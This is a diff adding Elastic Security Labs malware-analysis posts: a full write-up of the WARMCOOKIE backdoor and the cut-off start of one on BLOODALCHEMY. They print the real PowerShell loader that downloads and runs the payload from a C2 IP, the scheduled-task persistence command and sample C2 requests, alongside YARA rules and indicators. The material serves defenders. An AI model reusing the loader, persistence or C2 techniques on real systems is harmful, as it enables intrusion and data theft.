6. [SANS Internet Storm Center - PATCH NOW - SIGRed - CVE-2020-1350 - Microsoft DNS Server Vulnerability](https://isc.sans.edu/forums/diary/PATCH+NOW+SIGRed+CVE20201350+Microsoft+DNS+Server+Vulnerability/26356/)
|
|
@ -0,0 +1,544 @@
|
|||
---
|
||||
title: "Dipping into Danger: The WARMCOOKIE backdoor"
|
||||
slug: "dipping-into-danger"
|
||||
date: "2024-06-12"
|
||||
subtitle: "Novel malware discovery by Elastic Security Labs masquerades as a recruiting offer"
|
||||
description: "Elastic Security Labs observed threat actors masquerading as recruiting firms to deploy a new malware backdoor called WARMCOOKIE. This malware has standard backdoor capabilities, including capturing screenshots, executing additional malware, and reading/writing files."
|
||||
author:
|
||||
- slug: daniel-stepanic
|
||||
image: "warmcookie.jpg"
|
||||
category:
|
||||
- slug: malware-analysis
|
||||
tags:
|
||||
- warmcookie
|
||||
- backdoor
|
||||
- ref6127
|
||||
---
|
||||
|
||||
## WARMCOOKIE at a glance
|
||||
|
||||
Elastic Security Labs observed a wave of email campaigns in late April targeting environments by deploying a new backdoor we’re calling WARMCOOKIE based on data sent through the HTTP cookie parameter. During initial triage, our team identified code overlap with a previously publicly reported [sample](https://esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign) by eSentire. The unnamed sample (`resident2.exe`) discussed in the post appears to be an older or deviated version of WARMCOOKIE. While some features are similar, such as the implementation of string obfuscation, WARMCOOKIE contains differing functionality. Our team is seeing this threat distributed daily with the use of recruiting and job themes targeting individuals.
|
||||
|
||||
WARMCOOKIE appears to be an initial backdoor tool used to scout out victim networks and deploy additional payloads. Each sample is compiled with a hard-coded C2 IP address and RC4 key.
|
||||
|
||||
This post will review an observed campaign and this new malware’s functionality. While the malware has a limited number of capabilities, it shouldn’t be taken lightly as it’s actively being used and impacting organizations at a global scale.
|
||||
|
||||
## Key takeaways
|
||||
|
||||
* REF6127 represents recruiting-themed phishing campaigns to deploy a new Windows backdoor: WARMCOOKIE
|
||||
* WARMCOOKIE is a newly discovered backdoor used to fingerprint a machine, capture screenshots of the victim machine, and deploy additional payloads
|
||||
* Threat actors are spinning up new domains and infrastructure weekly to support these campaigns
|
||||
* This research includes an IDAPython script to decrypt strings from WARMCOOKIE
|
||||
* Elastic Security provides prevention and visibility capabilities across the entire WARMCOOKIE infection chain
|
||||
|
||||
## REF6127 campaign overview
|
||||
|
||||

|
||||
|
||||
Since late April 2024, our team has observed new phishing campaigns leveraging lures tied to recruiting firms. These emails targeted individuals by their names and their current employer, enticing victims to pursue new job opportunities by clicking a link to an internal system to view a job description. Below is an example of the phishing email collected from previous open source reporting.
|
||||
|
||||

|
||||
|
||||
Once clicked, the users hit a landing page that looks like a legitimate page specifically targeted for them. There, they are prompted to download a document by solving a CAPTCHA challenge. The landing pages resemble previous campaigns documented by Google Cloud’s security team when discussing a new variant of [URSNIF](https://cloud.google.com/blog/topics/threat-intelligence/rm3-ldr4-ursnif-banking-fraud/). Below is an example of the landing page collected from previous open source reporting.
|
||||
|
||||

|
||||
|
||||
Once the CAPTCHA is solved, an obfuscated JavaScript file is downloaded from the page. Our sample was named `Update_23_04_2024_5689382.js`; however, other samples used a different but similar naming structure.
|
||||
|
||||
This obfuscated script runs PowerShell, kicking off the first task to load WARMCOOKIE.
|
||||
|
||||

|
||||
|
||||
The PowerShell script abuses the Background Intelligent Transfer Service (BITS) to download WARMCOOKIE and run the DLL with the `Start` export.
|
||||
|
||||
```powershell
|
||||
start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\' +
|
||||
[System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source
|
||||
'http://80.66.88[.]146/data/5fb6dd81093a0d6812c17b12f139ce35'
|
||||
-Destination $d; if (![System.IO.File]::Exists($d)) {exit}; $p = $d +
|
||||
',Start'; rundll32.exe $p; Start-Sleep -Seconds 10} -Argument 0 | wait-job | Receive-Job
|
||||
```
|
||||
|
||||
### REF6127 infrastructure overview
|
||||
|
||||
By leveraging tools like [urlscan.io](https://urlscan.io/ip/45.9.74.135) and [VirusTotal](https://www.virustotal.com/gui/ip-address/45.9.74.135/relations), we observed the threat actor continually generating new landing pages rapidly on IP address `45.9.74[.]135`. The actor pushed to target different recruiting firms in combination with keywords related to the job search industry.
|
||||
|
||||
![Domains associated with 45.9.74[.]135](/assets/images/dipping-into-danger/image3.png "Domains associated with 45.9.74[.]135")
|
||||
|
||||
Before hitting each landing page, the adversary distances itself by using compromised infrastructure to host the initial phishing URL, which redirects the different landing pages.
|
||||
|
||||

|
||||
|
||||
The threat actor generates new domains while the reputation catches up with each domain after each campaign run. At the time of writing, the threat actor can be seen pivoting to fresh domains without many reputation hits.
|
||||
|
||||

|
||||
|
||||
## WARMCOOKIE malware anlaysis
|
||||
|
||||
WARMCOOKIE is a Windows DLL used by the threat actor in two different stages. The first stage occurs right after the PowerShell download with the execution of WARMCOOKIE using the `Start` export.
|
||||
|
||||
### Stage 1
|
||||
|
||||
Stage 1 copies the downloaded DLL from a temporary directory with a random name, such as: `wid4ta3v.3gm,` and places a copy of the DLL at `C:\ProgramData\RtlUpd\RtlUpd.dll`
|
||||
|
||||
After the copy, the malware sets up persistence using COM with the Windows Task Scheduler to configure the DLL to run with the following parameters.
|
||||
|
||||
```cmd
|
||||
"C:\WINDOWS\system32\rundll32.exe" "C:\ProgramData\RtlUpd\RtlUpd.dll",Start /p
|
||||
```
|
||||
|
||||
With this design choice, WARMCOOKIE will run with System privileges from the Task Scheduler Engine. Below is a screenshot from [Hatching Triage](https://tria.ge/240528-2dhvdagb62/behavioral1) showing these two stages:
|
||||
|
||||

|
||||
|
||||
#### Persistence
|
||||
|
||||
A critical part of the infection chain comes from the scheduled task, which is set up at the very beginning of the infection. The task name (`RtlUpd`) is scheduled to run every 10 minutes every day.
|
||||
|
||||

|
||||
|
||||
### Stage 2
|
||||
|
||||
The second stage is where the DLL is combined with the command line (`Start /p`) and contains the core functionality of WARMCOOKIE. The malware starts by looking for the DLL inside the temporary directory from the PowerShell download.
|
||||
|
||||

|
||||
|
||||
#### Obfuscation
|
||||
|
||||
WARMCOOKIE protects its strings using a custom string decryption algorithm. The first four bytes of each encrypted string in the `.rdata` section represent the size, the next four-bytes represent the RC4 key, and the remaining bytes represent the string.
|
||||
|
||||

|
||||
|
||||
Below is the CyberChef recipe using the bytes from the screenshot above:
|
||||
|
||||

|
||||
|
||||
One interesting observation is that the malware developer doesn’t always rotate the RC4 key between the encrypted strings.
|
||||
|
||||

|
||||
|
||||
#### Dynamic API loading
|
||||
|
||||
To prevent static analysis from identifying its core functionality, WARMCOOKIE uses dynamic API loading. There is no API hashing/resolving, and the targeted DLLs and sensitive strings are protected using encryption.
|
||||
|
||||

|
||||
|
||||
As demonstrated in the previous image, the developer shows some consideration for OpSec: any decrypted string is wiped from memory immediately after use, potentially avoiding memory signature scans.
|
||||
|
||||
#### Anti-debugging
|
||||
|
||||
The malware contains a few anti-analysis checks commonly used to target sandboxes. These are based on logic for checking the active number of CPU processors and physical/virtual memory values.
|
||||
|
||||

|
||||
|
||||
Below are the following conditions:
|
||||
|
||||
* If the number of processors is greater than or equal to 4 and the calculated value from the `GlobalMemoryStatusEx` call is greater than or equal to 0xF00, the malware will continue execution
|
||||
* If the number of processors is greater than or equal to 8, the malware will continue execution
|
||||
* If the calculated value from the `GlobalMemoryStatusEx` call is greater than `0x2000`, the malware will continue execution
|
||||
|
||||
#### Mutex
|
||||
|
||||
Each WARMCOOKIE sample comes hard coded with a GUID-like string as a mutex. Below are some examples we have observed:
|
||||
|
||||
* `f92e6f3c-9cc3-4be0-966c-1be421e69140`
|
||||
* `91f785f4-2fa4-4c85-954d-b96768ca76f2`
|
||||
|
||||

|
||||
|
||||
Before the main functionality is executed, WARMCOOKIE uses an OR statement to verify the command-line arguments with `/p` returns `True` or to check whether the scheduled task persistence needs to be created.
|
||||
|
||||
#### Execution
|
||||
|
||||
Before the backdoor makes its first outbound network request, it captures the following values used to fingerprint and identify the victim machine.
|
||||
|
||||
* Volume serial number
|
||||
* DNS domain of the victim machine
|
||||
* Computer name
|
||||
* Username
|
||||
|
||||
This was a criteria used to identify the similarities to the malware in eSentire’s [report](https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign).
|
||||
|
||||

|
||||
|
||||
The WARMCOOKIE C2 server likely leverages a CRC32 checksum function to verify content sent from the victim machine. Inside WARMCOOKIE itself is a checksum function that takes an input string, a length, and an initial seed value for the CRC32 function. At the beginning of the function, the seed value is negated, so at different times, the checksum function is called with different seeds. We believe the developer added this step to make it a little harder for researchers to analyze and waste time.
|
||||
|
||||

|
||||
|
||||
The following three checksum calculations are encrypted with RC4 and sent through the HTTP cookie parameter:
|
||||
|
||||
* CRC32(c2_message_data)
|
||||
* CRC32(mutex) ^ volume serial number
|
||||
* CRC32(username) ^ CRC32(computer name)
|
||||
|
||||
Below is the implementation in Python with a usage example in the Appendix:
|
||||
|
||||
```python
|
||||
def calculate_checksum(str_input, str_len, i):
|
||||
if i == 0:
|
||||
i = 0xFFFFFFFF
|
||||
if i == -1:
|
||||
i = 0
|
||||
|
||||
for idx in range(0, str_len, 2):
|
||||
v6 = str_input[idx] | (str_input[idx + 1] << 8)
|
||||
for _ in range(16):
|
||||
if (v6 ^ i) & 1:
|
||||
i = ((i >> 1) ^ 0xEDB88320) & 0xFFFFFFFF
|
||||
else:
|
||||
i = (i >> 1) & 0xFFFFFFFF
|
||||
v6 >>= 1
|
||||
|
||||
return ~i & 0xFFFFFFFF
|
||||
```
|
||||
|
||||
#### Communication
|
||||
|
||||
WARMCOOKIE samples communicate over HTTP with a hardcoded IP address. The family uses a combination of RC4 and Base64 to protect its network traffic. The RC4 key is embedded in each sample. We have observed the same key being used in multiple samples. The key during this analysis is `24de21a8dc08434c`
|
||||
|
||||

|
||||
|
||||
The malware uses a custom structure to send the initial request to the C2 server, including the previously described checksum values and several fields used to track the offsets and size of the variable data.
|
||||
|
||||
These values are sent through the HTTP cookie parameter using the following custom structure:
|
||||
|
||||
```cpp
|
||||
enum request_type
|
||||
{
|
||||
REGISTRATION = 1,
|
||||
COMMAND = 2
|
||||
};
|
||||
|
||||
struct os_info
|
||||
{
|
||||
int major_version;
|
||||
int minor_version;
|
||||
int build_number;
|
||||
int version_calc;
|
||||
};
|
||||
|
||||
struct initial_request
|
||||
{
|
||||
int checksum_c2_message_data;
|
||||
int checksum_volume_mutex;
|
||||
int checksum_computer_name_username;
|
||||
request_type request_type;
|
||||
os_info os_ver;
|
||||
int offset_to_dns_domain;
|
||||
int size_base64_dns_domain;
|
||||
int offset_to_base64_computer_name;
|
||||
int size_base64_computer_name;
|
||||
int offset_to_base64_username;
|
||||
int size_base64_username;
|
||||
char base64_dns_domain[]; // Variable-length array
|
||||
char base64_username[]; // Variable-length array
|
||||
char base64_computer_name[]; // Variable-length array
|
||||
};
|
||||
```
|
||||
|
||||
The first request to the C2 server is sent through a GET request using User Agent: `Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705`.
|
||||
|
||||
```curl
|
||||
GET http://185.49.69[.]41/ HTTP/1.1
|
||||
Cookie: x41OYTpmEwUUKm2AvnkS2onu1XqjP6shVvosIXkAD957a9RplEGFsUjR8f/lP1O8EERtf+idl0bimsKh8mRA7+dL0Yk09SwgTUKBu9WEK4RwjhkYuxd2JGXxhlA=
|
||||
User-Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705)
|
||||
Host: 185.49.69[.]41
|
||||
Connection: Keep-Alive
|
||||
Pragma: no-cache
|
||||
```
|
||||
|
||||
Below is the CyberChef recipe of the HTTP cookie parameter decrypted from the first request, followed by a legend of the fields:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
WARMCOOKIE inserts a few integrity checks by generating hashes using the previously described checksum function. For example, the data in the decrypted HTTP cookie parameter from the 4th byte to the end is hashed and placed at the beginning (offset 0). Using the example above, this checksum value is `0xe51387e9`
|
||||
|
||||
Before the malware can receive instructions, integrity checks are also used to verify the incoming response from the C2 server. In this scenario, the C2 server produces the expected checksum for the data sent to the victim machine. This is located in the first four bytes of the request.
|
||||
|
||||

|
||||
|
||||
Below is a demonstration of this integrity check where the request data’s hash is `0x50d26cc3`.
|
||||
|
||||

|
||||
|
||||
If the checksum matches, WARMCOOKIE reads the command ID at the 8th-byte offset of the request to proceed to move to the next command handler.
|
||||
|
||||
### Bot functionality
|
||||
|
||||
WARMCOOKIE provides 7 command handlers for threat actors to retrieve additional victim information, record screenshots, launch additional payloads, etc. The provided functionality is relatively straightforward, allowing threat groups that need a lightweight backdoor to monitor victims and deploy further damaging payloads such as ransomware.
|
||||
|
||||
| Command ID | Description |
|
||||
|------------|---------------------------------------------------------|
|
||||
| 1 | Retrieve victim details |
|
||||
| 2 | Record screenshots of victim machine |
|
||||
| 3 | Retrieve installed programs via Uninstall registry path |
|
||||
| 4 | Command-line execution (cmd.exe /c) |
|
||||
| 5 | Write file to victim machine |
|
||||
| 6 | Read file from victim machine |
|
||||
| 10 | Delete scheduled task persistence |
|
||||
|
||||
#### Retrieve victim details - command ID (1)
|
||||
|
||||
This handler fingerprints and identifies the victim machines by collecting the IP address and CPU information. Interestingly, the imports required for this handler are statically imported.
|
||||
|
||||
")
|
||||
|
||||
The malware uses HTTP `POST` requests when sending data back to the C2 server. The HTTP POST request data is encrypted via RC4 and sent over the network in raw form. In addition, the IP address and CPU information are Base64 encoded.
|
||||
|
||||
```curl
|
||||
POST http://185.49.69[.]41/ HTTP/1.1
|
||||
Cookie: x41OYTpmEwUUKm2AvnkS2onu1XqjP6shVvosIXkAD957a9RplEGFsUjR8f/lP1O8EERtf+idl0bimsKh8mRA7+dL0Yk09SwgTUKBu9WEK4RwjhkYuxd2JGXxhlA=
|
||||
User-Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705)
|
||||
Host: 185.49.69.41
|
||||
Content-Length: 136
|
||||
Connection: Keep-Alive
|
||||
Pragma: no-cache
|
||||
|
||||
qI:f*m yڂ z ? ! ,!w k i A K k8 .(M ޣ> ދ u[ôz 0 -U~ 9 z G( *X o_ _ * Y, q glTs XI8b\)W W"
|
||||
```
|
||||
|
||||
After decrypting the HTTP POST request data, this presents a similar structure as before, where the data is front-loaded with the checksum values, offsets, and sizes to the pertinent information targeted by the handler. In this case, the Base64 encoded data is the IP Address and CPU info.
|
||||
|
||||

|
||||
|
||||
| Encoded Value | Decoded Value |
|
||||
|------------------------------------------------------------------|---------------------------------------------------------|
|
||||
| MTkyLjE2OC4xODIuMTMx | 192.168.182.131 |
|
||||
| QU1EIFJ5emVuIDcgNzgwMFgzRCA4LUNvcmUgUHJvY2Vzc29yICAgICAgICAgICA= | AMD Ryzen 7 7800X3D 8-Core Processor |
|
||||
|
||||
#### Screenshot capture - command ID (2)
|
||||
|
||||
The ability to capture screenshots from victim machines provides a wide range of malicious options, such as stealing sensitive information displayed on the screen or actively monitoring the victim’s machine. This handler dynamically loads Windows DLLs used for graphics and drawing operations, such as `GDI32.DLL` and `GDIPLUS.DLL`, and then uses various APIs, such as `BitBlt`,`CreateCompatibleBitmap`, and `GetSystemMetrics` to generate the screenshot.
|
||||
|
||||

|
||||
|
||||
The collected screenshot is encrypted with RC4 and sent through a POST request along with the checksum data.
|
||||
|
||||

|
||||
|
||||
By looking for the file header `JPEG File Interchange Format (JFIF)`, we can carve out the image, and find a high-quality image of our sandbox machine (below) based on our request to this handler.
|
||||
|
||||

|
||||
|
||||
#### Retrieve installed programs - command ID (3)
|
||||
|
||||
This handler enumerates the installed programs on the victim machine via the registry key:
|
||||
|
||||
```
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
|
||||
```
|
||||
|
||||

|
||||
|
||||
The program's name, version, and installation date are Base64 encoded and placed into a pipe-delimited format along with the checksum data, offsets, and sizing.
|
||||
|
||||

|
||||
|
||||
Below is an example of one of the registry entries:
|
||||
|
||||
| Encoded Value | Decoded Value |
|
||||
|--------------------------|-------------------|
|
||||
| Ny1aaXAgMTguMDEgKHg2NCk= | 7-Zip 18.01 (x64) |
|
||||
|
||||
#### Command-line execution - command ID (4)
|
||||
|
||||
WARMCOOKIE uses this handler to provide backdoor access to the victim machine. The operator provides an argument that gets executed to `cmd.exe /c `without a console window.
|
||||
|
||||

|
||||
|
||||
In the example below, `whoami` is provided as the argument:
|
||||
|
||||

|
||||
|
||||
This function reads the output from the provided command and stores it in Base64, where it’s sent back to the C2 server. Below is an example of the decrypted data for this handler:
|
||||
|
||||

|
||||
|
||||
| Encoded Value | Decoded Value |
|
||||
|------------------------------|---------------------|
|
||||
| ZGVza3RvcC0yYzNpcWhvXHJlbQ0K | desktop-2c3iqho\rem |
|
||||
|
||||
#### Write file - command ID (5)
|
||||
|
||||
WARMCOOKIE can drop files on the victim machine; the threat actors provide the file path and file data.
|
||||
|
||||

|
||||
|
||||
As a test, we can write a file within a directory with some data and then read it in the next handler.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
Depending on the file write result, WARMCOOKIE will send out a POST request with one of the following Base64 encoded values:
|
||||
|
||||
* `OK`
|
||||
* `ERROR: Cannot write file`
|
||||
|
||||

|
||||
|
||||
#### Read file - command ID (6)
|
||||
|
||||
This handler can read file content from machines infected with WARMCOOKIE. The threat actor needs to provide the file path as the argument.
|
||||
|
||||

|
||||
|
||||
Depending on the file read result, WARMCOOKIE will send out a POST request with one of the following Base64 encoded values along with the file contents:
|
||||
|
||||
* `OK (See 'Files' tab)`
|
||||
* `ERROR: Cannot read file`
|
||||
|
||||

|
||||
|
||||
Based on the previous wording around a `Files` tab, the WARMCOOKIE operators may use a GUI element.
|
||||
|
||||
#### Remove persistence - command ID (10)
|
||||
|
||||
This handler removes the previously configured scheduled task with the name `RtlUpd`. By leveraging COM, it will call `DeleteFileW` within `mstask.dll` to remove the task.
|
||||
|
||||

|
||||
|
||||
## IDA string decryption tool
|
||||
|
||||
Elastic Security Labs is releasing an IDAPython script used to decrypt strings from WARMCOOKIE. The decrypted strings will be placed in the IDA Pro decompiler helping analysts identify key functionality. The string decryption and IDA commenting tool can be downloaded [here](https://github.com/elastic/labs-releases/tree/main/tools/warmcookie).
|
||||
|
||||
## Conclusion
|
||||
|
||||
WARMCOOKIE is a newly discovered backdoor that is gaining popularity and is being used in campaigns targeting users across the globe. Our team believes this malware represents a formidable threat that provides the capability to access target environments and push additional types of malware down to victims. While there is room for improvement on the malware development side, we believe these minor issues will be addressed over time. Elastic Security Labs will continue to monitor this threat and recommends that the industry do the same.
|
||||
|
||||
## WARMCOOKIE and MITRE ATT&CK
|
||||
|
||||
Elastic uses the [MITRE ATT&CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.
|
||||
|
||||
### Tactics
|
||||
|
||||
Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.
|
||||
|
||||
* [Initial Access](https://attack.mitre.org/tactics/TA0001)
|
||||
* [Execution](https://attack.mitre.org/tactics/TA0002/)
|
||||
* [Defense Evasion](https://attack.mitre.org/tactics/TA0005/)
|
||||
* [Discovery](https://attack.mitre.org/tactics/TA0007)
|
||||
* [Command and Control](https://attack.mitre.org/tactics/TA0011)
|
||||
* [Exfiltration](https://attack.mitre.org/tactics/TA0010/)
|
||||
|
||||
### Techniques
|
||||
|
||||
Techniques represent how an adversary achieves a tactical goal by performing an action.
|
||||
|
||||
* [Phishing](https://attack.mitre.org/techniques/T1566/)
|
||||
* [User Execution: Malicious Link](https://attack.mitre.org/techniques/T1204/001/)
|
||||
* [Command and Scripting Interpreter: PowerShell](https://attack.mitre.org/techniques/T1059/001/)
|
||||
* [System Information Discovery](https://attack.mitre.org/techniques/T1082/)
|
||||
* [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053/)
|
||||
* [Screen Capture](https://attack.mitre.org/techniques/T1113/)
|
||||
* [Command and Scripting Interpreter: Windows Command Shell](https://attack.mitre.org/techniques/T1059/003/)
|
||||
|
||||
## Preventing and detecting WARMCOOKIE
|
||||
|
||||
### Prevention
|
||||
|
||||
* [Suspicious PowerShell Downloads](https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/execution_suspicious_powershell_downloads.toml)
|
||||
* [Scheduled Task Creation by an Unusual Process](https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/persistence_scheduled_task_creation_by_an_unusual_process.toml)
|
||||
* [Suspicious PowerShell Execution via Windows Scripts](https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/execution_suspicious_powershell_execution.toml)
|
||||
* [RunDLL32/Regsvr32 Loads a DLL Downloaded via BITS](https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/defense_evasion_rundll32_regsvr32_loads_a_dll_downloaded_via_bits.toml)
|
||||
* [RunDLL32 with Unusual Arguments](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_rundll32_with_unusual_arguments.toml)
|
||||
* [Windows.Trojan.WarmCookie](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_WarmCookie.yar)
|
||||
|
||||
### Detection w/YARA
|
||||
|
||||
Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify [WARMCOOKIE](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_WarmCookie.yar):
|
||||
|
||||
```yara
|
||||
rule Windows_Trojan_WarmCookie_7d32fa90 {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2024-04-29"
|
||||
last_modified = "2024-05-08"
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
threat_name = "Windows.Trojan.WarmCookie"
|
||||
license = "Elastic License v2"
|
||||
|
||||
strings:
|
||||
$seq_checksum = { 45 8D 5D ?? 45 33 C0 41 83 E3 ?? 49 8D 4E ?? 44 03 DB 41 8D 53 ?? }
|
||||
$seq_string_decrypt = { 8B 69 04 48 8D 79 08 8B 31 89 6C 24 ?? 48 8D 4E ?? E8 }
|
||||
$seq_filesearch = { 48 81 EC 58 02 00 00 48 8B 05 82 0A 02 00 48 33 C4 48 89 84 24 40 02 00 00 45 33 C9 48 8D 44 24 30 45 33 C0 48 89 44 24 20 33 C9 41 8D 51 1A FF 15 83 4D 01 00 85 C0 78 22 48 8D 4C 24 30 E8 1D }
|
||||
$seq_registry = { 48 81 EC 80 02 00 00 48 8B 05 F7 09 02 00 48 33 C4 48 89 84 24 70 02 00 00 4C 89 B4 24 98 02 00 00 48 8D 0D 4D CA 01 00 45 33 F6 41 8B FE E8 02 4F 00 00 48 8B E8 41 B9 08 01 00 00 48 8D 44 24 }
|
||||
$plain_str1 = "release.dll" ascii fullword
|
||||
$plain_str2 = "\"Main Invoked.\"" ascii fullword
|
||||
$plain_str3 = "\"Main Returned.\"" ascii fullword
|
||||
$decrypt_str1 = "ERROR: Cannot write file" wide fullword
|
||||
$decrypt_str2 = "OK (No output data)" wide fullword
|
||||
$decrypt_str3 = "OK (See 'Files' tab)" wide fullword
|
||||
$decrypt_str4 = "cmd.exe /c %ls" wide fullword
|
||||
$decrypt_str5 = "Cookie:" wide fullword
|
||||
$decrypt_str6 = "%ls\\*.*" wide fullword
|
||||
condition:
|
||||
(3 of ($plain*)) or (2 of ($seq*)) or 4 of ($decrypt*)
|
||||
}
|
||||
```
|
||||
|
||||
## Observations
|
||||
|
||||
All observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/warmcookie) in both ECS and STIX format.
|
||||
|
||||
The following observables were discussed in this research.
|
||||
|
||||
| Observable | Type | Name | Reference |
|
||||
|------------------------------------------------------------------|-----------|------------|----------------------|
|
||||
| `ccde1ded028948f5cd3277d2d4af6b22fa33f53abde84ea2aa01f1872fad1d13` | SHA-256 | RtlUpd.dll | WARMCOOKIE |
|
||||
| `omeindia[.]com` | domain | | Phishing link |
|
||||
| `assets.work-for[.]top` | domain | | Landing page |
|
||||
| `45.9.74[.]135` | ipv4-addr | | Landing page |
|
||||
| `80.66.88[.]146` | ipv4-addr | | WARMCOOKIE C2 server |
|
||||
| `185.49.69[.]41` | ipv4-addr | | WARMCOOKIE C2 server |
|
||||
|
||||
## References
|
||||
|
||||
The following were referenced throughout the above research:
|
||||
|
||||
* [https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign](https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign)
|
||||
* [https://x.com/Cryptolaemus1/status/1785423804577034362](https://x.com/Cryptolaemus1/status/1785423804577034362)
|
||||
|
||||
## Appendix
|
||||
|
||||
**Checksum example**
|
||||
|
||||
```python
|
||||
def calculate_checksum(str_input, str_len, i):
|
||||
if i == 0:
|
||||
i = 0xFFFFFFFF
|
||||
if i == -1:
|
||||
i = 0
|
||||
|
||||
for idx in range(0, str_len, 2):
|
||||
v6 = str_input[idx] | (str_input[idx + 1] << 8)
|
||||
for _ in range(16):
|
||||
if (v6 ^ i) & 1:
|
||||
i = ((i >> 1) ^ 0xEDB88320) & 0xFFFFFFFF
|
||||
else:
|
||||
i = (i >> 1) & 0xFFFFFFFF
|
||||
v6 >>= 1
|
||||
|
||||
return ~i & 0xFFFFFFFF
|
||||
|
||||
|
||||
serial_volume = 0x0A2C9AD2F
|
||||
|
||||
mutex = "f92e6f3c-9cc3-4be0-966c-1be421e69140".encode("utf-16le")
|
||||
mutex_result = calculate_checksum(mutex, len(mutex), -1)
|
||||
|
||||
username = "REM\x00".encode("utf-16le")
|
||||
username_result = calculate_checksum(username, len(username), -1)
|
||||
|
||||
computer_name = "DESKTOP-2C3IQHO".encode("utf-16le")
|
||||
computer_name_result = calculate_checksum(computer_name, len(computer_name), -1)
|
||||
|
||||
print(f"Mutex: {hex(mutex_result)}")
|
||||
print(f"Username: {hex(username_result)}")
|
||||
print(f"Computer Name: {hex(computer_name_result)}")
|
||||
print(f"#1 Checksum: {hex(serial_volume ^ mutex_result)}")
|
||||
print(f"#2 Checksum: {hex(username_result ^ computer_name_result)}")
|
||||
```
|
|
@ -0,0 +1,402 @@
|
|||
---
|
||||
title: "Disclosing the BLOODALCHEMY backdoor"
|
||||
slug: "disclosing-the-bloodalchemy-backdoor"
|
||||
date: "2023-10-13"
|
||||
description: "BLOODALCHEMY is a new, actively developed, backdoor that leverages a benign binary as an injection vehicle, and is a part of the REF5961 intrusion set."
|
||||
author:
|
||||
- slug: cyril-francois
|
||||
image: "photo-edited-05@2x.jpg"
|
||||
category:
|
||||
- slug: security-research
|
||||
- slug: malware-analysis
|
||||
tags:
|
||||
- security-research
|
||||
- malware-analysis
|
||||
- ref5961
|
||||
- bloodalchemy
|
||||
---
|
||||
|
||||
## Preamble
|
||||
|
||||
BLOODALCHEMY is an x86 backdoor written in C and found as shellcode injected into a signed benign process. It was discovered in our analysis and is part of the REF5961 intrusion set, which you can read about [here](https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set).
|
||||
|
||||
BLOODALCHEMY requires a specific loader to be run because it isn't reflexive (it doesn’t have the capability to load and execute by itself). Additionally, BLOODALCHEMY isn’t compiled as position independent (when loaded at a different base address than the preferred one the binary has to be patched to take into account the new “position”).
|
||||
|
||||
In our analysis, the signed benign process was previously sideloaded with a malicious DLL. The DLL was missing from the sample data but was likely the container and the loader of the BLOODALCHEMY shellcode.
|
||||
|
||||
We believe from our research that the malware is part of a bigger toolset and is still in active development based on its current lack of capabilities, enabled debug logging of exceptions, and the existence of test strings used for persistence service setup.
|
||||
|
||||
## Key takeaways
|
||||
* BLOODALCHEMY is likely a new backdoor and is still in active development
|
||||
* BLOODALCHEMY abuses a legitimate binary for loading
|
||||
* BLOODALCHEMY has multiple running modes, persistence mechanisms, and communication options
|
||||
|
||||
## Initial execution
|
||||
|
||||
During the initial execution phase, the adversary deployed a benign utility, `BrDifxapi.exe`, which is vulnerable to DLL side-loading. When deploying this vulnerable utility the adversary could side-load the unsigned BLOODALCHEMY loader (`BrLogAPI.dll`) and inject shellcode into the current process.
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
`BrDifxapi.exe` is a binary developed by the Japanese company [Brother Industries](https://global.brother/en/gateway) and the version we observed has a revoked signature.
|
||||
|
||||

|
||||
|
||||
|
||||
The legitimate DLL named `BrLogApi.dll` is an unsigned DLL also by Brother Industries. BLOODALCHEMY uses the same DLL name.
|
||||
|
||||

|
||||
|
||||
|
||||
## Code analysis
|
||||
|
||||
### Data Obfuscation
|
||||
|
||||
To hide its strings the BLOODALCHEMY malware uses a classic technique where each string is encrypted, preceded by a single-byte decryption key, and finally, all concatenated together to form what we call an encrypted blob.
|
||||
|
||||
While the strings are not null-terminated, the offset from the beginning of the blob, the string, and the size are passed as a parameter to the decryption function. Here is the encrypted blob format:
|
||||
|
||||
_Blob = Key0 :EncryptedString0 + Key1:EncryptedString1 + ... + KeyN:EncryptedStringN_
|
||||
|
||||
The implementation in Python of the string decryption algorithm is given below:
|
||||
|
||||
```Python
|
||||
def decrypt_bytes(encrypted_data: bytes, offset: int, size: int) -> bytes:
|
||||
decrypted_size = size - 1
|
||||
decrypted_data = bytearray(decrypted_size)
|
||||
|
||||
encrypted_data_ = encrypted_data[offset : offset + size]
|
||||
key = encrypted_data_[0]
|
||||
|
||||
i = 0
|
||||
while i != decrypted_size:
|
||||
decrypted_data[i] = key ^ encrypted_data_[i + 1]
|
||||
